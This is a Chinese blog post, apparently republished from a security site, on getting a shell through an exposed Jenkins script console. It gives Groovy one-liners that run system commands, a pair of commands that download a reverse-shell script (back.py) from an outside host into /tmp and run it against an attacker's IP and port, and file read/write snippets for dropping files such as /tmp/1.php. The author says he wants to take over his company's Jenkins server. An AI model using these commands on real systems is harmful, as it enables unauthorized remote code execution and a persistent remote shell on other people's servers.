登陆 注册

Jenkins拿shell方法

桑云信息Lzers 2018-09-12 Jenkinsshell

最近一直在学习怎么利用jenkins反序列化,妹的,就是没有一个顺手的GUI工具,能让我直接秒杀服务器。

楼下的小伙伴有好的工具,请给我留言,我要秒了我们公司的jenkins服务器,多谢。。。。

关于反序列化的问题,如果不懂java就是苦逼,小弟我就是这样的苦逼,这个先放一边,先把jenkins拿shell的方法整理一下。

文章来自安全脉搏,略有改动,更加精简。。。

点击查看原始图片 Jenkins拿shell方法  Jenkins shell 第1张

一、Jenkins未授权访问可执行命令

命令执行的话,是需要有相关用户权限的,具体的位置在下图中:

点击查看原始图片 Jenkins拿shell方法  Jenkins shell 第2张

在脚本命令行中输入下面的语句,即可执行相应的命令:

1println "ipconfig /all".execute().text

推荐上面的这种方式,比较简洁。。

1def sout = new StringBuffer(), serr = new StringBuffer()
2def proc = 'ipconfig'.execute()
3proc.consumeProcessOutput(sout, serr)
4proc.waitForOrKill(1000)
5println "out> $sout err> $serr"

老外的方式,比较正式一点。。

下面的截图是执行后的结果,就像在CMD中执行是一样的效果。

点击查看原始图片 Jenkins拿shell方法  Jenkins shell 第3张

二、Jenkins拿shell方法

1、直接wget下载back.py反弹shell,如下:

1println "wget http://www.waitalone.cn/tools/back.py -P /tmp/".execute().text
2println "python /tmp/back.py 10.1.1.111 8080".execute().text

2、多种方式写shell

01Groovy I/O 文件读写
02
03读文件
04new File("/tmp/back.py").getText();
05new File("c:/windows/win.ini").getText();
06
07//eachLine -- 打开和读取文件的每一行
08new File("/tmp/back.py").eachLine {
09println it;
10}
11
12//readLines
13lineList = new File("/tmp/back.py").readLines();
14lineList.each {
15println it.toUpperCase();
16}
17
18write轻轻松松写文件
19new File("/tmp/1.php").write('Hello SecPulse');
20
21多行写入
22new File("/tmp/1.php").write("""
23This is
24just a test file
25to play with
26""");


生成海报
请发表您的评论
桑云信息Lzers

桑云信息Lzers

乐山桑云信息技术有限公司专注于企业安全与网站、小程序、APP架设,为企业客户提供一站式解决方案,帮助企业快速实现互联网+转型。
909文章数 31评论数
请关注微信公众号
微信二维码
不容错过
Powered By SangYun.Net